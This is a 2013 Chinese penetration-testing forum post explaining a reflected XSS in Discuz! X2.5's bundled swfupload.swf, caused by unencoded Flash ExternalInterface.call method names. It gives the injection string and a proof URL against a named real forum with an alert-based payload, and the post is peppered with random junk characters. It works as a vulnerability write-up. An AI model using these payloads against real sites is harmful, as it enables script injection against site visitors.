中国网络渗透测试联盟

标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站 [打印本页]

作者: admin    时间: 2013-2-23 12:50
标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说( V+ M( q1 j  F: ^* p! o0 q
: x  G4 K7 w. {, \
flash.external.ExternalInterface.call($methodName, $parameter)- U* I3 b7 t4 W2 A1 T: G0 t
在浏览器中执行的是6 x: e5 m! H! i$ H5 I

$ \2 D* c! S# Q+ wtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}  S& H" u2 ~8 ?1 z8 y+ P
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如$ Z1 u. v  X7 x+ @
$ {. S  f0 Y1 F# L
flash.external.ExternalInterface.call("object."+$methodName, $parameter). v9 V5 B! J5 P% g( d7 V& h
$methodName = a())}catch(e){alert(/xss/)}/// m/ ^! X# s# \! M8 ]
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。! r1 t8 W! Y* ~$ f

8 j2 N! o  t3 U( [try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }$ S4 Y) Q7 k% E2 }
* {" Z, b8 J1 Y
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )& L  Z# G5 y2 |, k% ^4 c6 t( F+ X3 O
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。. I( Q* P: D) ^

. l# C4 ?; x+ x! ~0 F  Z* }
/ q! m9 U9 V0 C9 S2 M; B" @1 ~* F. g7 g, T% x" W# G
漏洞文件:upload\static\image\common\swfupload.swf- J, B3 I5 o- N( C0 c8 f

& k/ O  E0 }5 ^+ s, A! e原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
) C7 o% i2 o1 g, K9 E7 Q3 I9 L% b- |- ~& q* ?0 }
' j. ?' [' }0 J+ i0 O  R3 Q# T0 H6 c9 K
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
# V" J- f9 n; S) j9 Q- W5 J1 c- w* _# B9 n7 h

# l/ Z- o9 A/ p




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2